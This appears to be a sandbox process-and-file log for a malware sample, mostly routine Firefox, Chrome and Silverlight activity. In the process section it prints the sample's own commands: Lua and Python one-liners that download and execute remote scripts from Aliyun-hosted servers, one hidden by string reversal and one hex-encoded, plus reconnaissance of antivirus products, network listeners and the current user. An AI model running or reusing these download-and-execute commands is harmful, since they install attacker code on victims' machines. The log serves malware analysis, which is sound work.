C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-PEERTOPEER-FULL-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-CLIENT-FEATURES-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_1_FOR_KB976902~31BF3856AD364E35~AMD64~~6.1.1.17514.CAT
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-ICM-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-PARENTALCONTROLS-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\THUMBNAILS\542BC8CB4B84E8AD2DFD4F9762364B8B.PNG.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\THUMBNAILS\2122C5656DA3D86D77C08F7AF48C0268.PNG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\17852
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\23069
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\5360
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\CE_T151C2VYQ29UDGV4DELKPTUSYSW=
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\TEMPORARY
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\DEFAULT
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_114_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
C:\WINDOWS\SYSTEM32\URLMON.DLL
C:\WINDOWS\SYSTEM32\IERTUTIL.DLL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONSTORE.JSONLZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\16923
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\WEBEXT.SC.LZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\XULSTORE.JSON.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PENDING PINGS
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\A63CC187-9955-40E0-9119-C93A9E68327D
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\EECC7A6A-06F9-49AE-9908-AB94381D0F30
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\SESSION-STATE.JSON.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096063799.4CD02E87-A74C-426F-BF0E-3494E81DBC14.HEALTH.JSONLZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\4CD02E87-A74C-426F-BF0E-3494E81DBC14.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ABORTED-SESSION-PING.TMP
C:\PROGRAMDATA\MOZILLA\UNINSTALL_PING_308046B0AF4A39CB_24F718F2-5F1F-42CA-87B9-10FA6AC01CF4.JSON
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505097.61E90A08-A2E6-4E6F-B405-EFDC2170CAEF.NEW-PROFILE.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505111.D03CD1D0-3A42-40A8-A46B-B5FFEB004FAB.EVENT.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505119.EECC7A6A-06F9-49AE-9908-AB94381D0F30.MAIN.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505123.AFEEE423-542D-436B-BFEB-1D256892D34F.FIRST-SHUTDOWN.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326037.A63CC187-9955-40E0-9119-C93A9E68327D.HEALTH.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326149.36BC2313-A886-47DC-9DC3-F104C6ABF3AB.EVENT.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326152.505AD0C6-1378-4B12-8BA8-326E0843B1BA.HEALTH.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326205.5CA6E692-855F-4ACE-8F8F-A5C258B5FE64.MAIN.JSONLZ4
C:\PROGRAMDATA\MOZILLA\UNINSTALL_PING_308046B0AF4A39CB_8DBABE2A-05F9-4726-890B-9971ABEF88C8.JSON.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096064706.312DA651-EBBF-42E9-83E5-2F1A89E85517.EVENT.JSONLZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\312DA651-EBBF-42E9-83E5-2F1A89E85517.TMP
C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096064709.E7F63D09-B212-4FE4-BDE4-9E7F1176C53F.HEALTH.JSONLZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\E7F63D09-B212-4FE4-BDE4-9E7F1176C53F.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096064930.B0A70F9F-6DE7-46A8-B164-6CF26151ABC0.MAIN.JSONLZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\B0A70F9F-6DE7-46A8-B164-6CF26151ABC0.TMP
C:\WINDOWS\SYSTEM32\SCHANNEL.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\STPPCJ6X\20210504152106[1].TXT

Process Created

"C:\MALWARE\75E03F40A088903579A436C0D8E8BC3D0D71CF2942AD793CC948F36866A2E1AD"
- Time offset
  - ["0.0","5.787611"]

NETSTAT -ANO
- Time offset
  - ["10.96682", "12.506422", "47.690687"]

FINDSTR LISTEN
- Time offset
  - ["11.247622", "12.637427", "47.721886"]

FINDSTR 127.0.0.1:
- Time offset
  - ["11.341221", "12.668625", "47.753086"]

CMD.EXE /C NETSTAT -ANO|FINDSTR LISTEN|FINDSTR 127.0.0.1:
- Time offset
  - ["9.718817", "12.466423", "47.659487"]

WMIC /NAMESPACE:\\ROOT\SECURITYCENTER2 PATH ANTIVIRUSPRODUCT GET DISPLAYNAME
- Time offset
  - ["34.649063", "41.403875"]

WMIC OS GET CAPTION
- Time offset
  - ["35.834665", "41.934277"]

IPCONFIG /ALL
- Time offset
  - ["36.318268", "42.137077"]

C:\WINDOWS\SYSTEM32\CMD.EXE /C WMIC /NAMESPACE:\\ROOT\SECURITYCENTER2 PATH ANTIVIRUSPRODUCT GET DISPLAYNAME && WMIC OS GET CAPTION && IPCONFIG /ALL /ALL
- Time offset
  - ["33.869063", "41.294676"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.0.205672902\277295277" -PARENTBUILDID 20210504152106 -PREFSHANDLE 1092 -PREFMAPHANDLE 1084 -PREFSLEN 1 -PREFMAPSIZE 235499 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 1176 GPU
- Time offset
  - ["155.129076"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.6.19800067\1275872800" -CHILDID 1 -ISFORBROWSER -PREFSHANDLE 1376 -PREFMAPHANDLE 1380 -PREFSLEN 500 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 1852 TAB
- Time offset
  - ["156.925095"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.13.1390390392\726721598" -CHILDID 2 -ISFORBROWSER -PREFSHANDLE 2648 -PREFMAPHANDLE 2644 -PREFSLEN 5506 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 2660 TAB
- Time offset
  - ["157.582132"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.20.1321203734\1173403048" -CHILDID 3 -ISFORBROWSER -PREFSHANDLE 3464 -PREFMAPHANDLE 3460 -PREFSLEN 6334 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 3476 TAB
- Time offset
  - ["157.820147"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.27.1060054463\1856532694" -CHILDID 4 -ISFORBROWSER -PREFSHANDLE 3652 -PREFMAPHANDLE 3208 -PREFSLEN 6334 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 3664 TAB
- Time offset
  - ["157.875149"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.34.252322039\740734733" -CHILDID 5 -ISFORBROWSER -PREFSHANDLE 8464 -PREFMAPHANDLE 8468 -PREFSLEN 6330 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 8452 TAB
- Time offset
  - ["161.067303"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.35.1497706045\1150721476" -CHILDID 6 -ISFORBROWSER -PREFSHANDLE 8440 -PREFMAPHANDLE 8444 -PREFSLEN 6330 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 8412 TAB
- Time offset
  - ["161.108305"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.48.1957372887\43499073" -PARENTBUILDID 20210504152106 -PREFSHANDLE 8288 -PREFMAPHANDLE 8212 -PREFSLEN 7414 -PREFMAPSIZE 235499 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 8308 RDD
- Time offset
  - ["169.005673"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE" HTTPS://INCOMING.TELEMETRY.MOZILLA.ORG/SUBMIT/TELEMETRY/312DA651-EBBF-42E9-83E5-2F1A89E85517/EVENT/FIREFOX/88.0.1/RELEASE/20210504152106?V=4 C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\312DA651-EBBF-42E9-83E5-2F1A89E85517
- Time offset
  - ["174.73675"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE" HTTPS://INCOMING.TELEMETRY.MOZILLA.ORG/SUBMIT/TELEMETRY/E7F63D09-B212-4FE4-BDE4-9E7F1176C53F/HEALTH/FIREFOX/88.0.1/RELEASE/20210504152106?V=4 C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\E7F63D09-B212-4FE4-BDE4-9E7F1176C53F
- Time offset
  - ["174.856751"]

"C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE" HTTPS://INCOMING.TELEMETRY.MOZILLA.ORG/SUBMIT/TELEMETRY/B0A70F9F-6DE7-46A8-B164-6CF26151ABC0/MAIN/FIREFOX/88.0.1/RELEASE/20210504152106?V=4 C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\B0A70F9F-6DE7-46A8-B164-6CF26151ABC0
- Time offset
  - ["175.031756"]

FIREFOX.EXE HTTPS://GO.MICROSOFT.COM/FWLINK/?LINKID=2156302&PARTNERCODE=SL5K&MACHINEID=B32446A5AD46437D80CA7ABB0AE0E2A7
- Time offset
  - ["151.134468", "151.072069"]

USER DATA --URL=HTTPS://CLIENTS2.GOOGLE.COM/CR/REPORT --ANNOTATION=CHANNEL= --ANNOTATION=PLAT=WIN64 --ANNOTATION=PROD=CHROME --ANNOTATION=VER=90.0.4430.212 --INITIAL-CLIENT-DATA=0X124,0X128,0X12C,0XF8,0X130,0X7FEEF702920,0X7FEEF702930,0X7FEEF702940
- Time offset
  - ["152.039271"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=GPU-PROCESS --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --GPU-PREFERENCES=SAAAAAAAAADGAAAWAAAAAAAAAAAAAAAAAABGAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHGAAAAAAAAAKAAAAAQAAAAGAAAAAAAAACGAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAGAAAAAAAAA --MOJO-PLATFORM-CHANNEL-HANDLE=1112 /PREFETCH:2
- Time offset
  - ["159.529217"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=UTILITY --UTILITY-SUB-TYPE=NETWORK.MOJOM.NETWORKSERVICE --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --SERVICE-SANDBOX-TYPE=NONE --MOJO-PLATFORM-CHANNEL-HANDLE=1488 /PREFETCH:8
- Time offset
  - ["159.841234"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=UTILITY --UTILITY-SUB-TYPE=STORAGE.MOJOM.STORAGESERVICE --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --SERVICE-SANDBOX-TYPE=UTILITY --MOJO-PLATFORM-CHANNEL-HANDLE=1764 /PREFETCH:8
- Time offset
  - ["160.212256"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=RENDERER --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --DEVICE-SCALE-FACTOR=1 --NUM-RASTER-THREADS=1 --RENDERER-CLIENT-ID=7 --NO-V8-UNTRUSTED-CODE-MITIGATIONS --MOJO-PLATFORM-CHANNEL-HANDLE=2084 /PREFETCH:1
- Time offset
  - ["160.45727"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=RENDERER --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --DEVICE-SCALE-FACTOR=1 --NUM-RASTER-THREADS=1 --RENDERER-CLIENT-ID=6 --NO-V8-UNTRUSTED-CODE-MITIGATIONS --MOJO-PLATFORM-CHANNEL-HANDLE=2096 /PREFETCH:1
- Time offset
  - ["160.468269"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=RENDERER --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --EXTENSION-PROCESS --DEVICE-SCALE-FACTOR=1 --NUM-RASTER-THREADS=1 --RENDERER-CLIENT-ID=5 --NO-V8-UNTRUSTED-CODE-MITIGATIONS --MOJO-PLATFORM-CHANNEL-HANDLE=2368 /PREFETCH:1
- Time offset
  - ["160.991297"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=GPU-PROCESS --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --GPU-PREFERENCES=SAAAAAAAAADGAAAWAAAAAAAAAAAAAAAAAABGAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHGAAAAAAAAAKAAAAAQAAAAGAAAAAAAAACGAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAGAAAAAAAAA --USE-GL=SWIFTSHADER-WEBGL --MOJO-PLATFORM-CHANNEL-HANDLE=2668 /PREFETCH:2
- Time offset
  - ["161.594332"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=UTILITY --UTILITY-SUB-TYPE=DATA_DECODER.MOJOM.DATADECODERSERVICE --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --SERVICE-SANDBOX-TYPE=UTILITY --MOJO-PLATFORM-CHANNEL-HANDLE=3200 /PREFETCH:8
- Time offset
  - ["163.039415"]

"C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" HTTPS://GO.MICROSOFT.COM/FWLINK/?LINKID=2128328&PARTNERCODE=SL5K&MACHINEID=B32446A5AD46437D80CA7ABB0AE0E2A7&EXTNID=MEDGKIFJBLGFAGAAMOKJBAGBGOCCCEPJ&MKT=EN-US
- Time offset
  - ["151.805269"]

"C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\DEFAULTSETUP.EXE"
- Time offset
  - ["151.009668"]

"C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\BINGSVC\BINGSVC.EXE"
- Time offset
  - ["151.025269"]

C:\PROGRAMDATA\LUA\LUA.EXE -E "LOCAL CODE = [[LOCAL HTTP = REQUIRE('SOCKET.HTTP');LOCAL RESPONSE_BODY = {};LOCAL RES, CODE = HTTP.REQUEST({URL = 'HTTP://LUALIBS.OSS-CN-HONGKONG.ALIYUNCS.COM/X86/SCHEDULE.LUA',SINK = LTN12.SINK.TABLE(RESPONSE_BODY)});IF TYPE(RESPONSE_BODY) == 'TABLE' THEN LOADSTRING(TABLE.CONCAT(RESPONSE_BODY))() ELSE PRINT('ERROR') END;]];LOADSTRING(CODE)();"
- Time offset
  - ["45.350683"]

C:\WINDOWS\SYSTEM32\CMD.EXE /C %PROGRAMDATA%\LUA\LUA.EXE -E "LOCAL CODE = [[LOCAL HTTP = REQUIRE('SOCKET.HTTP');LOCAL RESPONSE_BODY = {};LOCAL RES, CODE = HTTP.REQUEST({URL = 'HTTP://LUALIBS.OSS-CN-HONGKONG.ALIYUNCS.COM/X86/SCHEDULE.LUA',SINK = LTN12.SINK.TABLE(RESPONSE_BODY)});IF TYPE(RESPONSE_BODY) == 'TABLE' THEN LOADSTRING(TABLE.CONCAT(RESPONSE_BODY))() ELSE PRINT('ERROR') END;]];LOADSTRING(CODE)();"
- Time offset
  - ["45.272682"]

"C:\PROGRAMDATA\LUA\LUAC.EXE -E "CODE = \"LOCAL HTTP=REQUIRE('SOCKET.HTTP');\"..\"LOCAL RESPONSE_BODY = {}\"..\"LOCAL RES, CODE = HTTP.REQUEST({\"..\" URL = STRING.REVERSE('AUL.344-SC-1/68X/MOC.SCNUYILA.GNOKGNOH-NC-SSO.SBILAUL//:PTTH'),\"..\" SINK = LTN12.SINK.TABLE(RESPONSE_BODY)\"..\"})\"..\"IF TYPE(RESPONSE_BODY) == 'TABLE' THEN\"..\" LOADSTRING(TABLE.CONCAT(RESPONSE_BODY))()\"..\"ELSE\"..\" PRINT('ERROR')\"..\"END\";LOADSTRING(CODE)();""
- Time offset
  - ["6.240011"]

TASKENG.EXE {3615E526-DA54-4649-ADF5-52AADB31DDA8} S-1-5-18:NT AUTHORITY\SYSTEM:SERVICE:
- Time offset
  - ["6.037211"]

"C:\F0E543E3CE57499DFE\MICROSOFT_DEFAULTS.EXE" DHP=TRUE DSP=TRUE
- Time offset
  - ["27.036249"]

"C:\WINDOWS\SYSTEM32\RUNDLL32.EXE" "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLMSPRBOOTSTRAP.DLL",SETUPPLAYREADYDATA
- Time offset
  - ["37.800268"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MSCORLIB.DLL
- Time offset
  - ["38.54907"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.DLL
- Time offset
  - ["42.417877"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.CORE.DLL
- Time offset
  - ["42.870278"]

C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.NET.DLL
- Time offset
  - ["44.08708"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.XML.DLL
- Time offset
  - ["44.492682"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.RUNTIME.SERIALIZATION.DLL
- Time offset
  - ["44.898281"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.SERVICEMODEL.WEB.DLL
- Time offset
  - ["45.584683"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MICROSOFT.XNA.FRAMEWORK.DLL
- Time offset
  - ["45.803084"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MICROSOFT.XNA.FRAMEWORK.GRAPHICS.DLL
- Time offset
  - ["45.959084"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MICROSOFT.XNA.FRAMEWORK.GRAPHICS.SHADERS.DLL
- Time offset
  - ["46.255486"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.DLL
- Time offset
  - ["46.489485"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.XNA.DLL
- Time offset
  - ["48.533089"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.SERVICEMODEL.DLL
- Time offset
  - ["48.813889"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.RUNTIMEHOST.DLL
- Time offset
  - ["49.593889"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.BROWSER.DLL
- Time offset
  - ["49.718689"]

"C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATION.EXE" -ENABLEMU
- Time offset
  - ["141.914852"]

C:\F0E543E3CE57499DFE\INSTALL.EXE
- Time offset
  - ["15.164629"]

C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\SILVERLIGHT.EXE
- Time offset
  - ["11.71562"]

"C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE" -C "EXEC('IMPORT URLLIB.REQUEST;EXEC(URLLIB.REQUEST.URLOPEN(URLLIB.REQUEST.REQUEST(\'HTTP://FLASHDOWNLOADSERVER.OSS-CN-HONGKONG.ALIYUNCS.COM/RES/ONLINE.TXT\')).READ().DECODE())')"
- Time offset
  - ["134.021238"]

WHOAMI
- Time offset
  - ["168.359669"]

"C:\WINDOWS\SYSTEM32\CMD.EXE" /C WHOAMI > C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\NVRNLE489LAX2GQG.TXT && ECHO SUCCESS > C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\A3FB11I7ZNAQRVGE.TXT
- Time offset
  - ["167.957661"]

C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE -C "EXEC(B''.FROMHEX('696D706F72742075726C6C69622E726571756573743B657865632875726C6C69622E726571756573742E75726C6F70656E2875726C6C69622E726571756573742E526571756573742827687474703A2F2F666C617368646F776E6C6F61647365727665722E6F73732D616363656C65726174652E616C6979756E63732E636F6D2F72322F626967322E70792729292E7265616428292E6465636F6465282929').DECODE())" A A
- Time offset
  - ["130.948034"]

TASKENG.EXE {9DF0E321-5F76-4AD8-A5EA-315E30C83AE1} S-1-5-21-3823682093-1211322545-3225290208-500:WIN-L842SFCIE1T\ADMINISTRATOR:INTERACTIVE:[1]
- Time offset
  - ["11.481621"]

"C:\MALWARE\75E03F40A088903579A436C0D8E8BC3D0D71CF2942AD793CC948F36866A2E1AD.EXE"
